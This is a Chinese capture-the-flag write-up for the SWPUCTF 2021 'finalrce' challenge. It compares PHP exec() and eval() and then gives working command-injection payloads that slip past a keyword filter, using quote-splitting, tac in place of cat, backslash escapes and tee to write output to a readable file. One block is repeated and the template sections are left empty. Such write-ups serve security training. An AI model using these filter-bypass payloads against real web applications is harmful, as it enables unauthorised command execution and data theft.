Problem: [SWPUCTF 2021 新生赛]finalrce
思路
- 解题大致思路
27.[SWPUCTF 2021 新生赛]finalrce
| 方面 | exec() |
eval() |
|---|---|---|
| 用途 | 用于执行外部系统命令(如操作系统命令)。 | 用于执行 PHP 代码字符串。 |
| 执行机制 | 在操作系统层面执行命令。 | 在 PHP 解释器层面执行代码。 |
| 安全性风险 | 可能导致命令注入攻击。 | 可能导致代码注入攻击。 |
| 返回值 | 默认返回命令输出的最后一行,可选参数获取完整输出。 | 返回执行的 PHP 代码的结果,通常是最后一个表达式的值。 |
| 应用场景 | 系统管理、与其他程序交互等。 | 动态生成和执行 PHP 代码。 |

查看代码,发现有关键字的过滤
仔细一看发现没有过滤whoami,然后睡5秒再回应,尝试一下,发现返回 can you see anything?
/?url=whoami;sleep 5
尝试一下简单过滤,并将结果保存到网站的/1.txt文件里
/?url=l''s / | tee 1.txt
访问1.txt发现

由于cat被过滤,我们可以用tac命令
/?url=tac /a_here_is_a_f1ag | tee 2.txt
发现提示我们在fllllllaaaaaggggg里
所以尝试获取,发现la是被过滤了
尝试绕过用flllll\aaaaaaggggggg
/?url=tac /flllll\aaaaaaggggggg | tee 3.txt
访问得到flag
由于cat被过滤,我们可以用tac命令
/?url=tac /a_here_is_a_f1ag | tee 2.txt
发现提示我们在fllllllaaaaaggggg里
所以尝试获取,发现la是被过滤了
尝试绕过用flllll\aaaaaaggggggg
/?url=tac /flllll\aaaaaaggggggg | tee 3.txt
访问得到flag

EXP
- 具体攻击代码
总结
- 对该题的考点总结
